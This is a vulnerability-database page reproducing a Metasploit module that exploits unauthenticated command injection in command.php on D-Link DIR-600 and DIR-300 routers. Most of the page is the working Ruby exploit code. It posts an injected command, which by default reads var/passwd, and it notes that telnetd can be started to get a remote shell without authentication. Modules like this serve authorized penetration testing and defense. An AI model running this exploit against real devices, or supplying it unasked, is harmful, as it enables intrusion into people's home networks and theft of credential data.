Lucene search
+L

D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution

🗓️ 04 Feb 2013 00:00:00Reported by Michael Messner <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 61 Views

D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution in command.php for some D-Link Routers. Allows starting telnetd without authenticatio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
        'Description' => %q{
          This module exploits an OS Command Injection vulnerability in some D-Link
          Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
          command.php, which is accessible without authentication. This module has been
          tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
          In order to get a remote shell the telnetd could be started without any
          authentication.
        },
        'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-10069' ],
          [ 'OSVDB', '89861' ],
          [ 'EDB', '24453' ],
          [ 'URL', 'https://eu.dlink.com/uk/en/products/dir-600-wireless-n-150-home-router' ],
          [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
        ],
        'DisclosureDate' => '2013-02-04',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd'])
      ]
    )
  end

  def run
    uri = '/command.php'

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending remote command: " + datastore['CMD'])

    data_cmd = "cmd=#{datastore['CMD']}; echo end"

    begin
      res = send_request_cgi(
        {
          'uri' => uri,
          'method' => 'POST',
          'data' => data_cmd
        }
      )
      return if res.nil?
      return if res.headers['Server'].nil? || res.headers['Server'] !~ %r{Linux,\ HTTP/1.1,\ DIR}
      return if res.code == 404
    rescue ::Rex::ConnectionError
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Failed to connect to the web server")
      return
    end

    if res.body.include?('end')
      print_good("#{Rex::Socket.to_authority(rhost, rport)} - Exploited successfully\n")
      print_line("#{Rex::Socket.to_authority(rhost, rport)} - Command: #{datastore['CMD']}\n")
      print_line("#{Rex::Socket.to_authority(rhost, rport)} - Output: #{res.body}")
    else
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Exploit failed")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2013 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.19.8
CVSS 410
EPSS0.11859
SSVC
61